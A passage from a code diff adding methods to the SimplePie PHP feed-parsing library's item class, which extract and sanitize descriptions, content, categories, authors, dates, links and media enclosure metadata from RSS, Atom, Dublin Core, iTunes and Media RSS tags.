$this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif (!$description_only) + { + return $this->get_content(true); + } + else + { + return null; + } + } + + function get_content($content_only = false) + { + if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'content')) + { + return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_content_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'content')) + { + return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT, 'encoded')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); + } + elseif (!$content_only) + { + return $this->get_description(true); + } + else + { + return null; + } + } + + function get_category($key = 0) + { + $categories = $this->get_categories(); + if (isset($categories[$key])) + { + return $categories[$key]; + } + else + { + return null; + } + } + + function get_categories() + { + $categories = array(); + + foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category) + { + $term = null; + $scheme = null; + $label = null; + if (isset($category['attribs']['']['term'])) + { + $term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($category['attribs']['']['scheme'])) + { + $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($category['attribs']['']['label'])) + { + $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $categories[] =& new $this->feed->category_class($term, $scheme, $label); + } + foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category) + { + // This is really the label, but keep this as the term also for BC. + // Label will also work on retrieving because that falls back to term. + $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); + if (isset($category['attribs']['']['domain'])) + { + $scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $scheme = null; + } + $categories[] =& new $this->feed->category_class($term, $scheme, null); + } + foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category) + { + $categories[] =& new $this->feed->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null); + } + foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category) + { + $categories[] =& new $this->feed->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null); + } + + if (!empty($categories)) + { + return SimplePie_Misc::array_unique($categories); + } + else + { + return null; + } + } + + function get_author($key = 0) + { + $authors = $this->get_authors(); + if (isset($authors[$key])) + { + return $authors[$key]; + } + else + { + return null; + } + } + + function get_contributor($key = 0) + { + $contributors = $this->get_contributors(); + if (isset($contributors[$key])) + { + return $contributors[$key]; + } + else + { + return null; + } + } + + function get_contributors() + { + $contributors = array(); + foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor) + { + $name = null; + $uri = null; + $email = null; + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) + { + $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) + { + $uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); + } + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) + { + $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if ($name !== null || $email !== null || $uri !== null) + { + $contributors[] =& new $this->feed->author_class($name, $uri, $email); + } + } + foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor) + { + $name = null; + $url = null; + $email = null; + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) + { + $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) + { + $url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); + } + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) + { + $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if ($name !== null || $email !== null || $url !== null) + { + $contributors[] =& new $this->feed->author_class($name, $url, $email); + } + } + + if (!empty($contributors)) + { + return SimplePie_Misc::array_unique($contributors); + } + else + { + return null; + } + } + + function get_authors() + { + $authors = array(); + foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author) + { + $name = null; + $uri = null; + $email = null; + if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) + { + $name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) + { + $uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); + } + if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) + { + $email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if ($name !== null || $email !== null || $uri !== null) + { + $authors[] =& new $this->feed->author_class($name, $uri, $email); + } + } + if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author')) + { + $name = null; + $url = null; + $email = null; + if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) + { + $name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) + { + $url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); + } + if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) + { + $email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if ($name !== null || $email !== null || $url !== null) + { + $authors[] =& new $this->feed->author_class($name, $url, $email); + } + } + if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'author')) + { + $authors[] =& new $this->feed->author_class(null, null, $this->sanitize($author[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); + } + foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author) + { + $authors[] =& new $this->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null); + } + foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author) + { + $authors[] =& new $this->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null); + } + foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author) + { + $authors[] =& new $this->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null); + } + + if (!empty($authors)) + { + return SimplePie_Misc::array_unique($authors); + } + elseif (($source = $this->get_source()) && ($authors = $source->get_authors())) + { + return $authors; + } + elseif ($authors = $this->feed->get_authors()) + { + return $authors; + } + else + { + return null; + } + } + + function get_copyright() + { + if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights')) + { + return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + return null; + } + } + + function get_date($date_format = 'j F Y, g:i a') + { + if (!isset($this->data['date'])) + { + if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'published')) + { + $this->data['date']['raw'] = $return[0]['data']; + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'updated')) + { + $this->data['date']['raw'] = $return[0]['data']; + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'issued')) + { + $this->data['date']['raw'] = $return[0]['data']; + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'created')) + { + $this->data['date']['raw'] = $return[0]['data']; + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'modified')) + { + $this->data['date']['raw'] = $return[0]['data']; + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'pubDate')) + { + $this->data['date']['raw'] = $return[0]['data']; + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'date')) + { + $this->data['date']['raw'] = $return[0]['data']; + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'date')) + { + $this->data['date']['raw'] = $return[0]['data']; + } + + if (!empty($this->data['date']['raw'])) + { + $parser = SimplePie_Parse_Date::get(); + $this->data['date']['parsed'] = $parser->parse($this->data['date']['raw']); + } + else + { + $this->data['date'] = null; + } + } + if ($this->data['date']) + { + $date_format = (string) $date_format; + switch ($date_format) + { + case '': + return $this->sanitize($this->data['date']['raw'], SIMPLEPIE_CONSTRUCT_TEXT); + + case 'U': + return $this->data['date']['parsed']; + + default: + return date($date_format, $this->data['date']['parsed']); + } + } + else + { + return null; + } + } + + function get_local_date($date_format = '%c') + { + if (!$date_format) + { + return $this->sanitize($this->get_date(''), SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif (($date = $this->get_date('U')) !== null) + { + return strftime($date_format, $date); + } + else + { + return null; + } + } + + function get_permalink() + { + $link = $this->get_link(); + $enclosure = $this->get_enclosure(0); + if ($link !== null) + { + return $link; + } + elseif ($enclosure !== null) + { + return $enclosure->get_link(); + } + else + { + return null; + } + } + + function get_link($key = 0, $rel = 'alternate') + { + $links = $this->get_links($rel); + if ($links[$key] !== null) + { + return $links[$key]; + } + else + { + return null; + } + } + + function get_links($rel = 'alternate') + { + if (!isset($this->data['links'])) + { + $this->data['links'] = array(); + foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link) + { + if (isset($link['attribs']['']['href'])) + { + $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; + $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); + + } + } + foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link) + { + if (isset($link['attribs']['']['href'])) + { + $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; + $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); + } + } + if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link')) + { + $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); + } + if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link')) + { + $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); + } + if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link')) + { + $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); + } + if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'guid')) + { + if (!isset($links[0]['attribs']['']['isPermaLink']) || strtolower(trim($links[0]['attribs']['']['isPermaLink'])) === 'true') + { + $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); + } + } + + $keys = array_keys($this->data['links']); + foreach ($keys as $key) + { + if (SimplePie_Misc::is_isegment_nz_nc($key)) + { + if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key])) + { + $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]); + $this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]; + } + else + { + $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key]; + } + } + elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY) + { + $this->data['links'][substr($key, 41)] =& $this->data['links'][$key]; + } + $this->data['links'][$key] = array_unique($this->data['links'][$key]); + } + } + if (isset($this->data['links'][$rel])) + { + return $this->data['links'][$rel]; + } + else + { + return null; + } + } + + /** + * @todo Add ability to prefer one type of content over another (in a media group). + */ + function get_enclosure($key = 0, $prefer = null) + { + $enclosures = $this->get_enclosures(); + if (isset($enclosures[$key])) + { + return $enclosures[$key]; + } + else + { + return null; + } + } + + /** + * Grabs all available enclosures (podcasts, etc.) + * + * Supports the RSS tag, as well as Media RSS and iTunes RSS. + * + * At this point, we're pretty much assuming that all enclosures for an item are the same content. Anything else is too complicated to properly support. + * + * @todo Add support for end-user defined sorting of enclosures by type/handler (so we can prefer the faster-loading FLV over MP4). + * @todo If an element exists at a level, but it's value is empty, we should fall back to the value from the parent (if it exists). + */ + function get_enclosures() + { + if (!isset($this->data['enclosures'])) + { + $this->data['enclosures'] = array(); + + // Elements + $captions_parent = null; + $categories_parent = null; + $copyrights_parent = null; + $credits_parent = null; + $description_parent = null; + $duration_parent = null; + $hashes_parent = null; + $keywords_parent = null; + $player_parent = null; + $ratings_parent = null; + $restrictions_parent = null; + $thumbnails_parent = null; + $title_parent = null; + + // Let's do the channel and item-level ones first, and just re-use them if we need to. + $parent = $this->get_feed(); + + // CAPTIONS + if ($captions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text')) + { + foreach ($captions as $caption) + { + $caption_type = null; + $caption_lang = null; + $caption_startTime = null; + $caption_endTime = null; + $caption_text = null; + if (isset($caption['attribs']['']['type'])) + { + $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['attribs']['']['lang'])) + { + $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['attribs']['']['start'])) + { + $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['attribs']['']['end'])) + { + $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['data'])) + { + $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $captions_parent[] =& new $this->feed->caption_class($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text); + } + } + elseif ($captions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text')) + { + foreach ($captions as $caption) + { + $caption_type = null; + $caption_lang = null; + $caption_startTime = null; + $caption_endTime = null; + $caption_text = null; + if (isset($caption['attribs']['']['type'])) + { + $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['attribs']['']['lang'])) + { + $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['attribs']['']['start'])) + { + $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['attribs']['']['end'])) + { + $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['data'])) + { + $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $captions_parent[] =& new $this->feed->caption_class($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text); + } + } + if (is_array($captions_parent)) + { + $captions_parent = array_values(SimplePie_Misc::array_unique($captions_parent)); + } + + // CATEGORIES + foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category) + { + $term = null; + $scheme = null; + $label = null; + if (isset($category['data'])) + { + $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($category['attribs']['']['scheme'])) + { + $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $scheme = 'http://search.yahoo.com/mrss/category_schema'; + } + if (isset($category['attribs']['']['label'])) + { + $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $categories_parent[] =& new $this->feed->category_class($term, $scheme, $label); + } + foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category) + { + $term = null; + $scheme = null; + $label = null; + if (isset($category['data'])) + { + $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($category['attribs']['']['scheme'])) + { + $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $scheme = 'http://search.yahoo.com/mrss/category_schema'; + } + if (isset($category['attribs']['']['label'])) + { + $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $categories_parent[] =& new $this->feed->category_class($term, $scheme, $label); + } + foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'category') as $category) + { + $term = null; + $scheme = 'http://www.itunes.com/dtds/podcast-1.0.dtd'; + $label = null; + if (isset($category['attribs']['']['text'])) + { + $label = $this->sanitize($category['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $categories_parent[] =& new $this->feed->category_class($term, $scheme, $label); + + if (isset($category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category'])) + { + foreach ((array) $category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category'] as $subcategory) + { + if (isset($subcategory['attribs']['']['text'])) + { + $label = $this->sanitize($subcategory['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $categories_parent[] =& new $this->feed->category_class($term, $scheme, $label); + } + } + } + if (is_array($categories_parent)) + { + $categories_parent = array_values(SimplePie_Misc::array_unique($categories_parent)); + } + + // COPYRIGHT + if ($copyright = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright')) + { + $copyright_url = null; + $copyright_label = null; + if (isset($copyright[0]['attribs']['']['url'])) + { + $copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($copyright[0]['data'])) + { + $copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $copyrights_parent =& new $this->feed->copyright_class($copyright_url, $copyright_label); + } + elseif ($copyright = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright')) + { + $copyright_url = null; + $copyright_label = null; + if (isset($copyright[0]['attribs']['']['url'])) + { + $copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($copyright[0]['data'])) + { + $copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $copyrights_parent =& new $this->feed->copyright_class($copyright_url, $copyright_label); + } + + // CREDITS + if ($credits = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit')) + { + foreach ($credits as $credit) + { + $credit_role = null; + $credit_scheme = null; + $credit_name = null; + if (isset($credit['attribs']['']['role'])) + { + $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($credit['attribs']['']['scheme'])) + { + $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $credit_scheme = 'urn:ebu'; + } + if (isset($credit['data'])) + { + $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $credits_parent[] =& new $this->feed->credit_class($credit_role, $credit_scheme, $credit_name); + } + } + elseif ($credits = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit')) + { + foreach ($credits as $credit) + { + $credit_role = null; + $credit_scheme = null; + $credit_name = null; + if (isset($credit['attribs']['']['role'])) + { + $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($credit['attribs']['']['scheme'])) + { + $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $credit_scheme = 'urn:ebu'; + } + if (isset($credit['data'])) + { + $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $credits_parent[] =& new $this->feed->credit_class($credit_role, $credit_scheme, $credit_name); + } + } + if (is_array($credits_parent)) + { + $credits_parent = array_values(SimplePie_Misc::array_unique($credits_parent)); + } + + // DESCRIPTION + if ($description_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description')) + { + if (isset($description_parent[0]['data'])) + { + $description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + } + elseif ($description_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description')) + { + if (isset($description_parent[0]['data'])) + { + $description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + } + + // DURATION + if ($duration_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'duration')) + { + $seconds = null; + $minutes = null; + $hours = null; + if (isset($duration_parent[0]['data'])) + { + $temp = explode(':', $this->sanitize($duration_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); + if (sizeof($temp) > 0) + { + (int) $seconds = array_pop($temp); + } + if (sizeof($temp) > 0) + { + (int) $minutes = array_pop($temp); + $seconds += $minutes * 60; + } + if (sizeof($temp) > 0) + { + (int) $hours = array_pop($temp); + $seconds += $hours * 3600; + } + unset($temp); + $duration_parent = $seconds; + } + } + + // HASHES + if ($hashes_iterator = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash')) + { + foreach ($hashes_iterator as $hash) + { + $value = null; + $algo = null; + if (isset($hash['data'])) + { + $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($hash['attribs']['']['algo'])) + { + $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $algo = 'md5'; + } + $hashes_parent[] = $algo.':'.$value; + } + } + elseif ($hashes_iterator = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash')) + { + foreach ($hashes_iterator as $hash) + { + $value = null; + $algo = null; + if (isset($hash['data'])) + { + $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($hash['attribs']['']['algo'])) + { + $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $algo = 'md5'; + } + $hashes_parent[] = $algo.':'.$value; + } + } + if (is_array($hashes_parent)) + { + $hashes_parent = array_values(SimplePie_Misc::array_unique($hashes_parent)); + } + + // KEYWORDS + if ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords')) + { + if (isset($keywords[0]['data'])) + { + $temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); + foreach ($temp as $word) + { + $keywords_parent[] = trim($word); + } + } + unset($temp); + } + elseif ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords')) + { + if (isset($keywords[0]['data'])) + { + $temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); + foreach ($temp as $word) + { + $keywords_parent[] = trim($word); + } + } + unset($temp); + } + elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords')) + { + if (isset($keywords[0]['data'])) + { + $temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); + foreach ($temp as $word) + { + $keywords_parent[] = trim($word); + } + } + unset($temp); + } + elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords')) + { + if (isset($keywords[0]['data'])) + { + $temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); + foreach ($temp as $word) + { + $keywords_parent[] = trim($word); + } + } + unset($temp); + } + if (is_array($keywords_parent)) + { + $keywords_parent = array_values(SimplePie_Misc::array_unique($keywords_parent)); + } + + // PLAYER + if ($player_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player')) + { + if (isset($player_parent[0]['attribs']['']['url'])) + { + $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); + } + } + elseif ($player_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player')) + { + if (isset($player_parent[0]['attribs']['']['url'])) + { + $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); + } + } + + // RATINGS + if ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating')) + { + foreach ($ratings as $rating) + { + $rating_scheme = null; + $rating_value = null; + if (isset($rating['attribs']['']['scheme'])) + { + $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $rating_scheme = 'urn:simple'; + } + if (isset($rating['data'])) + { + $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $ratings_parent[] =& new $this->feed->rating_class($rating_scheme, $rating_value); + } + } + elseif ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit')) + { + foreach ($ratings as $rating) + { + $rating_scheme = 'urn:itunes'; + $rating_value = null; + if (isset($rating['data'])) + { + $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $ratings_parent[] =& new $this->feed->rating_class($rating_scheme, $rating_value); + } + } + elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating')) + { + foreach ($ratings as $rating) + { + $rating_scheme = null; + $rating_value = null; + if (isset($rating['attribs']['']['scheme'])) + { + $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $rating_scheme = 'urn:simple'; + } + if (isset($rating['data'])) + { + $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $ratings_parent[] =& new $this->feed->rating_class($rating_scheme, $rating_value); + 